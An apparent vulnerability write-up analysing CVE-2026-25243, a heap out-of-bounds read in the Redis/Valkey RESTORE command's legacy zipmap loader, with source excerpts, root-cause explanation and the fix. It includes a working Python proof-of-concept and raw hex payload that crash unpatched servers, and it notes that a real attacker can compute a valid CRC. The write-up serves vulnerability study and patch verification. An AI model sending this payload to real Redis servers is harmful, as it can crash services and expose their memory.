CVE-2026-25243 — Invalid Memory Access in Redis RESTORE Command May Lead to Remote Code Execution #
The trigger is Redis’s RESTORE command.
- Normal behavior:
RESTOREdeserializes an RDB-format serialized value (usually fromDUMP) and recreates a key/value in Redis memory. - Abnormal behavior: In the C implementation, if an attacker submits a malformed, length-anomalous, or maliciously offset serialized payload to
RESTORE, Redis fails to fully validate while parsing. That causes illegal memory access (OOB read/write) and can trigger a heap buffer overflow. With careful heap layout, an attacker may hijack control flow and run arbitrary commands in the Redis server process.
Per CVSS v4 (AV:N/AC:H/AT:N/PR:L/UI:N), exploit requirements:
- Network access required (AV:N): Attacker must reach the Redis instance over the network.
- Authentication required (PR:L): Post-auth. Anonymous access is not enough; credentials (password or ACL) are needed.
RESTOREpermission required: If the account is denied that dangerous command, the bug cannot fire.- High attack complexity (AC:H): Stable heap-overflow RCE on modern OS (ASLR, NX, etc.) usually needs skill, often with leaks or other bypasses.
CVE link: https://github.com/redis/redis/security/advisories/GHSA-c8h9-259x-jff4
Affected range #
All versions
All versions are now fixed
Root-cause analysis #
We use the Valkey tree for analysis and repro. Background: Valkey history — same roots as Redis, so CVEs in shared components often cross-check across both repos. Understanding this CVE needs light familiarity with Redis data structures and persistence; we will fill that in later.
Repro / analysis environment #
The bug is fixed; check out the parent of the fix commit:
git checkout fea0b4064^ # 修复前一版的commit
Attack surface overview #
| Layer | Component | Role |
|---|---|---|
| Command | RESTORE |
Accept DUMP-format binary, deserialize to in-memory object |
| Validation | verifyDumpPayload() |
RDB version + CRC64 |
| Load | rdbLoadObject() |
Branch on 1-byte type |
| Legacy encoding | RDB_TYPE_HASH_ZIPMAP (9) |
Very old Redis small hash; load converts to listpack |
| Bug | zipmapValidateIntegrity vs zipmapNext |
Two disagreeing “length-prefix stride” implementations |
Call chain (client → OOB read) #
A[客户端 RESTORE key ttl payload] --> B[restoreCommand cluster.c]
B --> C[verifyDumpPayload CRC + RDB版本]
C --> D[rdbLoadObjectType 读 type 字节]
D --> E[rdbLoadObject case HASH_ZIPMAP]
E --> F[zipmapValidateIntegrity deep=1]
F -->|通过| G[while zipmapNext 转 listpack]
G --> H[sdstrynewlen 可能越界读]
Core logic in src/cluster.c:
/* RESTORE key ttl serialized-value [REPLACE] [ABSTTL] [IDLETIME seconds] [FREQ frequency] */
// RESTORE command:将rdb格式的序列化值反序列化,重新生成内存中的键值对.
void restoreCommand(client *c) {
......
/* Verify RDB version and data checksum. */
// 验证RDB的格式 算校验和 ---> 这个校验你可以跳过,但是攻击者也可以直接构造一个正确的CRC来注入
if (verifyDumpPayload(objectGetVal(c->argv[3]), sdslen(objectGetVal(c->argv[3])), &rdbver) == C_ERR) {
addReplyError(c, "DUMP payload version or checksum are wrong");
return;
}
rioInitWithBuffer(&payload, objectGetVal(c->argv[3]));
type = rdbLoadObjectType(&payload);
...
// 这里是开始真正加载某个对象
obj = rdbLoadObject(type, &payload, objectGetVal(key), c->db->id, NULL, RDBFLAGS_NONE, 0);
if (obj == NULL) {
addReplyError(c, "Bad data format");
return;
}
......
}
DUMP/RESTORE payload layout (no REDIS/VALKEY magic — only type + object + footer):
[type 1B][RDB 编码的对象体][RDB version 2B LE][CRC64 8B LE]
verifyDumpPayload can be skipped with DEBUG SET-SKIP-CHECKSUM-VALIDATION yes (lab); a real attacker can compute a correct CRC, as noted in the comments.
Why modern Redis Hash is still affected? #
Hashes written today are mostly listpack or hashtable, but RDB type 9 is still accepted: the attacker crafts a RESTORE payload directly — no existing zipmap key on the server is required.
RDB object types:
/* Map object types to RDB object types. Macros starting with OBJ_ are for
* memory storage and may change. Instead RDB types must be fixed because
* we store them on disk. */
enum RdbType {
RDB_TYPE_STRING = 0,
RDB_TYPE_LIST = 1,
RDB_TYPE_SET = 2,
RDB_TYPE_ZSET = 3,
RDB_TYPE_HASH = 4,
RDB_TYPE_ZSET_2 = 5, /* ZSET version 2 with doubles stored in binary. */
RDB_TYPE_MODULE_PRE_GA = 6, /* Used in 4.0 release candidates */
RDB_TYPE_MODULE_2 = 7,
/* Module value with annotations for parsing without \
the generating module being loaded. */
RDB_TYPE_HASH_ZIPMAP = 9, // 可以看到这里就是本次漏洞所在,HASH_ZIPMAP 9
RDB_TYPE_LIST_ZIPLIST = 10,
RDB_TYPE_SET_INTSET = 11,
RDB_TYPE_ZSET_ZIPLIST = 12,
RDB_TYPE_HASH_ZIPLIST = 13,
RDB_TYPE_LIST_QUICKLIST = 14,
RDB_TYPE_STREAM_LISTPACKS = 15,
RDB_TYPE_HASH_LISTPACK = 16, /* Added in RDB 10 (7.0) */
RDB_TYPE_ZSET_LISTPACK = 17,
RDB_TYPE_LIST_QUICKLIST_2 = 18,
RDB_TYPE_STREAM_LISTPACKS_2 = 19,
RDB_TYPE_SET_LISTPACK = 20, /* Added in RDB 11 (7.2) */
RDB_TYPE_STREAM_LISTPACKS_3 = 21,
RDB_TYPE_HASH_2 = 22, /* Hash with field-level expiration, RDB 80 (9.0) */
RDB_TYPE_LAST
};
Zipmap branch of rdbLoadObject in src/rdb.c:
/* Load an Object of the specified type from the specified file.
* On success a newly allocated object is returned, otherwise NULL.
* When the function returns NULL and if 'error' is not NULL, the
* integer pointed by 'error' is set to the type of error that occurred */
// 从某个特定的文件中加载某个特定类型的对象
// 成功的话,返回在内存中分配的对象,失败就返回NULL
robj * rdbLoadObject(int rdbtype, rio * rdb, sds key, int dbid, int * error, int rdbflags, mstime_t now) {
......
/* Fix the object encoding, and make sure to convert the encoded
* data type into the base type if accordingly to the current
* configuration there are too many elements in the encoded data
* type. Note that we only check the length and not max element
* size as this is an O(N) scan. Eventually everything will get
* converted. */
switch (rdbtype) {
case RDB_TYPE_HASH_ZIPMAP:
/* Since we don't keep zipmaps anymore, the rdb loading for these
* is O(n) anyway, use `deep` validation. */
if (!zipmapValidateIntegrity(encoded, encoded_len, 1)) {
rdbReportCorruptRDB("Zipmap integrity check failed.");
zfree(encoded);
objectSetVal(o, NULL);
decrRefCount(o);
return NULL;
}
/* Convert to ziplist encoded hash. This must be deprecated
* when loading dumps created by Redis OSS 2.4 gets deprecated. */
{
unsigned char * lp = lpNew(0);
unsigned char * zi = zipmapRewind(objectGetVal(o));
unsigned char * fstr, * vstr;
unsigned int flen, vlen;
unsigned int maxlen = 0;
hashtable * dupSearchHashtable = hashtableCreate( & setHashtableType);
while ((zi = zipmapNext(zi, & fstr, & flen, & vstr, & vlen)) != NULL) {
if (flen > maxlen) maxlen = flen;
if (vlen > maxlen) maxlen = vlen;
/* search for duplicate records */
sds field = sdstrynewlen(fstr, flen);
int field_added = field && hashtableAdd(dupSearchHashtable, field);
if (!field_added || !lpSafeToAdd(lp, (size_t) flen + vlen)) {
rdbReportCorruptRDB("Hash zipmap with dup elements, or big length (%u)", flen);
hashtableRelease(dupSearchHashtable);
if (!field_added) sdsfree(field);
zfree(encoded);
zfree(lp);
objectSetVal(o, NULL);
decrRefCount(o);
return NULL;
}
lp = lpAppend(lp, fstr, flen);
lp = lpAppend(lp, vstr, vlen);
}
}
......
}
Flow: deep validation passes → zipmapNext walk → each field/value into listpack (converting legacy zipmap to listpack). The bug is that validation and iteration disagree on how many bytes a length prefix occupies.
listpack & zipmap #
listpack was introduced to fix ziplist cascade updates. Brief review — skip if you know them.
listpack #
Compact storage. Whole listpack layout:
[listpack 总字节数][listpack 元素数量][listpack entry][listpack entry][listpack entry][listpack 结尾标识]
In source this is a contiguous unsigned char *; only when reading do we “interpret” with listpackEntry. From listpack.c:
#define LP_HDR_SIZE 6 /* 32 bit total len + 16 bit number of elements. */
#define LP_HDR_NUMELE_UNKNOWN UINT16_MAX
// ...
#define lpGetTotalBytes(p) \
(((uint32_t)(p)[0] << 0) | ((uint32_t)(p)[1] << 8) | ((uint32_t)(p)[2] << 16) | ((uint32_t)(p)[3] << 24))
#define lpGetNumElements(p) (((uint32_t)(p)[4] << 0) | ((uint32_t)(p)[5] << 8))
Logical layout:
+----------+----------+----------+----------+----------+----------+-----+ ... +-----+
| total | total | total | total | numele | numele |entry| |0xFF |
| bytes | (LE 32) | | | (LE 16) | | 1 | | EOF |
+----------+----------+----------+----------+----------+----------+-----+ ... +-----+
|<------------------------ LP_HDR_SIZE = 6 ------------------------>|<-- entries -->|
- offset 0–3: total listpack bytes (little-endian
uint32_t) - offset 4–5: element count;
UINT16_MAXmeans unknown, must scan (LP_HDR_NUMELE_UNKNOWN) - from offset 6: entries
- last byte:
LP_EOF(0xFF) Thenlistpack entry: A. In-memoryentry:
[ encoding + payload ... ][ backlen ]
- encoding + payload: first-byte high bits select int/string and length
- backlen: variable-length encoding of entry size for
lpPrev()reverse walk B.listpackEntryis the logical value after decode; each entry can encode different sizes.
/* Each entry in the listpack is either a string or an integer. */
// 每个entry都被解释称一个字符串或者整数
typedef struct {
/* When string is used, it is provided with the length (slen). */
// 这里就指向listpack内部的对应缓冲区
unsigned char *sval;
uint32_t slen;
/* When integer is used, 'sval' is NULL, and lval holds the value. */
long long lval;
} listpackEntry;
zipmap #
Early Redis compact string→string map (O(n) lookup). Layout from src/zipmap.c header comments:
[zmlen 1B][field len 前缀][field 数据][value len 前缀][free 1B][value 数据] ... [0xFF END]
Length encoding (ZIPMAP_BIGLEN = 254):
| First byte | Meaning | Prefix width |
|---|---|---|
| 0–253 | length is that value | 1 byte |
254 (0xFE) |
followed by 4-byte little-endian uint32 | 5 bytes |
| 255 | ZIPMAP_END |
— |
In zipmap.c: |
static unsigned int zipmapDecodeLength(unsigned char *p) {
unsigned int len = *p;
if (len < ZIPMAP_BIGLEN) return len;
memcpy(&len, p + 1, sizeof(unsigned int));
memrev32ifbe(&len);
return len;
}
static unsigned int zipmapEncodeLength(unsigned char *p, unsigned int len) {
...
return ZIPMAP_LEN_BYTES(len); /* l<254 → 1 字节,否则 5 字节 */
}
static unsigned int zipmapGetEncodedLengthSize(unsigned char *p) {
return (*p < ZIPMAP_BIGLEN) ? 1 : 5; /* 看线上首字节,不看解码值 */
}
static unsigned int zipmapRawKeyLength(unsigned char *p) {
unsigned int l = zipmapDecodeLength(p);
return zipmapEncodeLength(NULL, l) + l; /* 按解码值 l 重算前缀宽度 */
}
Root cause: two strides differ by 4 bytes #
PoC writes on the first field’s length prefix:
fe 03 00 00 00 → 线上 5 字节编码,解码 l = 3
61 62 63 → "abc"
| Phase | Function | How field prefix advances |
|---|---|---|
| Validate | zipmapValidateIntegrity |
s = zipmapGetEncodedLengthSize(p) → sees 0xFE → 5 → advance 5+3=8 |
| Iterate | zipmapNext → zipmapRawKeyLength |
l=3 → zipmapEncodeLength(NULL,3) → 1 → advance 1+3=4 |
Difference: 4 bytes. On the second zipmapNext, the pointer lands mid-"abc", may treat 0x61 ('a') as length 97, then sdstrynewlen(fstr, 97) heap-OOB-reads past a ~24-byte zipmap buffer (ASan: heap-buffer-overflow in zipmapNext). |
||
| Timeline sketch: |
buffer: [02][fe 03 00 00 00][a][b][c][03][00][def]...
校验 p ──每次按 5 字节前缀走
迭代 zi ──第一次只按 1 字节前缀走 → 错位 → 误读 0x61 为长度 97
Relation to listpack / RDB #
- listpack: conversion target, modern compact hash encoding; this CVE does not break listpack directly — it faults in zipmap iteration before conversion.
- RDB type 9:
RDB_TYPE_HASH_ZIPMAP = 9insrc/rdb.h; RESTORE payload first byte0x09, then RDB length prefix + zipmap bytes. sanitize_dump_payload: mainly constrains ziplist/listpack; zipmap path was azipmapValidateIntegritylogic bug, not fixed by turning sanitize off.
From OOB read to RCE #
Classified CWE-122 (heap invalid access). A single PoC is usually heap-buffer-overflow read; under specific heap layout and follow-on chains, theoretically escalate to write primitive / RCE (official CVSS High). Few public RCE chains so far. For learning, ASan repro + understanding the validation gap is enough.
Reproduction #
Script below: build payload, optional mutate, send RESTORE over RESP, skip CRC (DEBUG) or stub CRC. Already placed under this folder:
#!/usr/bin/env python3
"""
CVE-2026-25243 PoC — same bytes & flow as tests/unit/dump.tcl (fea0b4064).
DEBUG SET-SKIP-CHECKSUM-VALIDATION 1
RESTORE zipmap_test 0 <binary payload>
DEBUG SET-SKIP-CHECKSUM-VALIDATION 0
Payload contains NUL bytes; must use RESP socket (valkey-cli argv cannot carry it).
Start server like runtest {needs:debug}:
./src/valkey-server --port 6379 --enable-debug-command yes
python3 exploit.py
# or: ./runtest --single tests/unit/dump.tcl -match '*CVE-2026-25243*'
"""
from __future__ import annotations
import argparse
import socket
import sys
# Exact bytes from tests/unit/dump.tcl (36 bytes; footer = 0x50 0x00 + 8-byte CRC)
# 这里就是直接从官方的测试用例中构造的
PAYLOAD = bytes.fromhex(
"091802fe0300000061626303006465660367686903006a6b6cff"
"50000000000000000000"
)
KEY = "zipmap_test"
def resp_command(*args: str | bytes) -> bytes:
parts: list[bytes] = []
for a in args:
if isinstance(a, str):
a = a.encode()
parts.append(f"${len(a)}\r\n".encode() + a + b"\r\n")
return b"*" + str(len(parts)).encode() + b"\r\n" + b"".join(parts)
def run_poc(host: str, port: int) -> str:
"""Same command sequence as dump.tcl CVE-2026-25243 test."""
pipeline = b"".join(
[
resp_command("DEBUG", "SET-SKIP-CHECKSUM-VALIDATION", "1"),
resp_command("RESTORE", KEY, "0", PAYLOAD),
resp_command("DEBUG", "SET-SKIP-CHECKSUM-VALIDATION", "0"),
resp_command("EXISTS", KEY),
]
)
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(pipeline)
return s.recv(65536).decode("utf-8", errors="replace")
def main() -> None:
ap = argparse.ArgumentParser(description="CVE-2026-25243 (dump.tcl PoC)")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=6379)
ap.add_argument("--hex", action="store_true", help="Print payload hex and exit")
args = ap.parse_args()
if args.hex:
print(f"payload ({len(PAYLOAD)} bytes): {PAYLOAD.hex()}")
return
print(f"[*] payload {len(PAYLOAD)} bytes (tests/unit/dump.tcl)")
print(f"[*] {args.host}:{args.port} via RESP")
try:
out = run_poc(args.host, args.port)
except OSError as e:
print(f"[!] connect failed: {e}", file=sys.stderr)
sys.exit(1)
print(out)
if "DEBUG command not allowed" in out:
print(
"\n[!] 需要开启 DEBUG(与 runtest needs:debug 一致):\n"
" ./src/valkey-server --port 6379 --enable-debug-command yes",
file=sys.stderr,
)
sys.exit(1)
if "checksum are wrong" in out:
print(
"\n[!] CRC 仍失败:DEBUG 必须用 1/0(不能用 yes/no,atoi(\"yes\")==0)。",
file=sys.stderr,
)
sys.exit(1)
if "Bad data format" in out:
print(
"\n[+] 与 Tcl 一致:Bad data format(已打补丁时正常)。"
"\n 未打补丁 + ASan:请看 server 终端 heap-buffer-overflow @ zipmapNext。"
)
elif "Connection refused" in out or not out.strip():
print("\n[!] server 可能已崩溃(漏洞版 ASan 常见),请查看 server 日志。", file=sys.stderr)
else:
print("\n[?] 对照 server / ASan 输出。")
if __name__ == "__main__":
main()
Reproduce:
./src/valkey-server --port 6379 --enable-debug-command yes # 注意,这里需要开启debug指令
python3 exploit.py
On the server you should see a crash — heap overflow:
==357339==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ba013ff9d58 at pc 0x5572590288b4 bp 0x7ffcf1d6f870 sp 0x7ffcf1d6f860
Manual hex:
09 18 02 fe 03 00 00 00 61 62 63 03 00 64 65 66 03 67 68 69 03 00 6a 6b 6c ff 50 00 + 8字节 CRC
Fix #
Fix commit #
- Commit:
fea0b4064(PR #3619) - Files:
src/zipmap.c(tests/unit/dump.tclregression)
Fix principle #
In zipmapValidateIntegrity(), add canonical checks on field-name and value length prefixes:
l = zipmapDecodeLength(p);
/* 解码长度 < 254 时,线上编码必须只占 1 字节 */
if (l < ZIPMAP_BIGLEN && s != 1)
return 0;
Meaning:
- Legal small lengths must use 1 byte (
0x03), not the 5-byte overlong0xFE + uint32form (unless decoded value ≥ 254). - Validation and
zipmapNextagree on prefix width before entering the conversion loop. - Small change; valid zipmaps (e.g. unit-test len=512 with 5-byte encoding) still satisfy
l >= 254ors == 5.
Post-fix behavior #
| Item | Before | After |
|---|---|---|
zipmapValidateIntegrity |
overlong may pass | returns 0, reject |
rdbLoadObject |
may OOB in zipmapNext |
NULL → Bad data format |
| ASan | heap-buffer-overflow |
none |
EXISTS zipmap_test |
0 | 0 |
| After the fix, re-run the script to verify. |